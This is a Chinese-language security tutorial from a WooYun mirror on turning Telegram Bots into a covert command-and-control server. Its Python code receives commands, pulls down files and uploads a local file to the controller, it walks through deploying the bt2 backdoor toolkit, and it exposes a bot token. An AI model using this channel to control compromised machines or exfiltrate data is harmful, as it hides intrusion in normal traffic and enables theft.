Use Bots of Telegram as a C2 server

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/05/27 9:37

0x00 前言


在Github上,涉及到將社交網路作為C2 server(可理解為命令控制伺服器)的poc專案越來越多,如利用gmail的gcatgdog,利用twitter的twittor、以及利用Telegram的Blaze Telegram Backdoor Toolkit (bt2),使用這類方法的好處不僅僅是因為社交網路的伺服器穩定,更多的原因在於其通訊可以隱藏在正常流量中,不易被發現。本文將對Telegram中的Bots功能作詳細介紹,並透過python實現基礎的的api呼叫,同時對Blaze Telegram Backdoor Toolkit (bt2)進行測試,分享其中需要注意的地方。

github專案連結:

0x01 簡介


Telegram:

  • 跨平臺的實時通訊應用
  • 支援Android、iPhone/iPad、WP、Web、PC/Mac/Linux
  • 通訊加密,官方懸賞$300,000 for Cracking Telegram Encryption
  • 支援傳送所有檔案型別
  • 開放api,可定製開發客戶端

Bots:

Tegegram內建的第三方應用,通訊方式為HTTPS

功能(類似於聊天機器人):

  • Get customized notifications and news
  • Integrate with other services
  • Create custom tools
  • Build single- and multiplayer games
  • Build social services
  • Do virtually anything else

0x02 搭建c2 server


登入Tegegram

訪問https://telegram.me/botfather

新增BotFather為聯絡人(BotFather用來建立和管理自定義bot)

如圖

Alt text

按照提示建立自定義bot

輸入/newbot,設定如下引數:

#!bash
name:Tegegram聯絡列表中顯示的名稱,可任意設定
Username:可理解為botID,此處唯一,需要區別於其他使用者建立的ID,結尾必須為"bot"
token:與bot通訊需要提供的憑據

成功建立後自動生成token:221409431:AAEeLznGbuzRONKCwHqyywmetjghCkXl_8

如圖

Alt text

其他命令:

#!bash
/token:顯示已生成的token
/revoke可用來重新生成token

至此,一個簡單的c2 Server搭建完畢

0x03 Bot API例項介紹


目前Telegram官網已經公開了如下語言的開發例項:

  • PHP
  • Python
  • Java
  • C#
  • Ruby
  • Go
  • Lua
  • Node.js
  • Haskell

可在如下頁面具體檢視: https://core.telegram.org/bots/samples

本文選用python作測試:

環境搭建

測試系統: 
kali 1.0
python 2.7.3
測試帳戶: 3333g

如圖

Alt text

1、安裝更新

#!bash
pip install telepot
pip install requests

2、測試帳戶是否可用

#!python
import telepot
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
bot.getMe()

注:
221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8為建立bot後自動生成的token

如圖,返回username相關資訊

Alt text

3、接收訊息

在Telegram控制端向c2_test傳送訊息:hello test

如圖

Alt text

python下執行如下程式碼接收訊息:

#!python
import telepot
from pprint import pprint
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
response = bot.getUpdates()
pprint(response)

如圖,成功接收Server端發來的訊息

Alt text

可獲取測試帳戶的first name為3333,last_name為g,id(已打碼),接收到的訊息內容為hello test

4、迴圈接收訊息:

需要使用bot.message_loop

完整測試程式碼如下:

#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
print ('Listening ...')
def handle(msg):
    pprint.pprint(msg)
def main(): 
    try:
        bot.message_loop(handle)
    except Exception as err:
        print err
    while True:
        time.sleep(10)
if __name__ == '__main__':
    main()

執行如圖,成功接收Server端傳送的5條文字訊息

Alt text

5、提取文字訊息

使用glance()可以從接收的訊息中提取一個元組(content_type,chat_type,chat_id

content_type 包括 text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.
chat_type 包括 private, group, or channel.

所以我們可以使用glance()把接收的文字訊息提取出來,程式碼如下:

#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
print ('Listening ...')
def handle(msg):
    content_type, chat_type, chat_id = telepot.glance(msg)    

    if content_type == 'text':
        received_command = msg['text']
        print (received_command)        
    else:
        print (content_type, chat_type, chat_id)
        return
def main():  
    try:
        bot.message_loop(handle)
    except Exception as err:
        print err
    while True:
        time.sleep(10)

if __name__ == '__main__':
    main()

測試如圖,提取出Server端發來的文字訊息

Alt text

6、接收檔案

執行接收訊息的python程式碼,可獲得接收檔案的訊息格式,如圖

Alt text

下載檔案需要使用bot.download_file(file_id, filename)

Alt text

最佳化過的完整程式碼如下,可接收上圖Server端傳送的檔案,並儲存在當前目錄

#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
print ('Listening ...')
def handle(msg):
    content_type, chat_type, chat_id = telepot.glance(msg)    

    if content_type == 'text':
        received_command = msg['text']
        print (received_command)    
    elif content_type == 'document':
        file_id = msg['document']['file_id']
        filename = msg['document']['file_name']
        bot.download_file(file_id, filename)
        print "[+] Download File Success!"
    else:
        print (content_type, chat_type, chat_id)
        return
def main():  
    try:
        bot.message_loop(handle)
    except Exception as err:
        print err
    while True:
        time.sleep(10)

if __name__ == '__main__':
    main()

7、傳送訊息

使用bot.sendMessage(chat_id, message)

向Server端傳送一條訊息,程式碼如下:

#!python
import telepot
from pprint import pprint
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
bot.sendMessage(chat_id, 'Hello C2 Server')  

注:
chat_id換成自己帳號的chat_id

如圖

Alt text

Server端接收訊息,顯示如下:

Alt text

8、傳送檔案

使用bot.sendDocument(chat_id,file)

程式碼如下:

#!python
import telepot
from pprint import pprint
bot = telepot.Bot('221409431:AAEeLznGb-uzRONKCwHqyywmetjghCkXl_8')
f = open('/root/1.txt', 'rb')  
bot.sendDocument(chat_id, f)

注:
chat_id換成自己帳號的chat_id

如圖,Server端可接收bot發過來的檔案

Alt text

以上介紹了Bot API中傳送、接收文字訊息和上傳、下載檔案的功能,剩下只需要將功能拼接,新增命令解析,就可以實現一個簡易的C2 Server POC

0x04 bt2測試


1、搭建C2 Server

同0x02

2、配置環境

#!bash
pip install telepot
pip install requests
git clone https://github.com/blazeinfosec/bt2.git

3、編輯bt2.py

設定以下引數

  • API_TOKEN:token
  • BOTMASTER_ID:自己帳號的chat_id

4、執行bt2.py

Clinet上線,傳送操作幫助

如圖

Alt text

5、測試命令

如圖

Alt text

測試成功

6、windows平臺下支援執行shellcode

演示略

7、補充

bt2已經搭建好了poc的完整框架,透過Telegram的Bots完全可以實現C2 Server所需的全部功能。bt2目前還存在一些bug,感興趣的小夥伴可以去他們的github提交程式碼

0x05 小結


Bot還支援一些高階用法,可參照文末的連結,實現一些更加高階的功能。

國內使用者目前無法使用gmail、twitter和telegram,所以gcat、gdog、twittor、bt2均無法對國內使用者直接造成威脅。技術不分好壞,壞的是人,希望本文對你有所幫助。

更多研究資料:

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章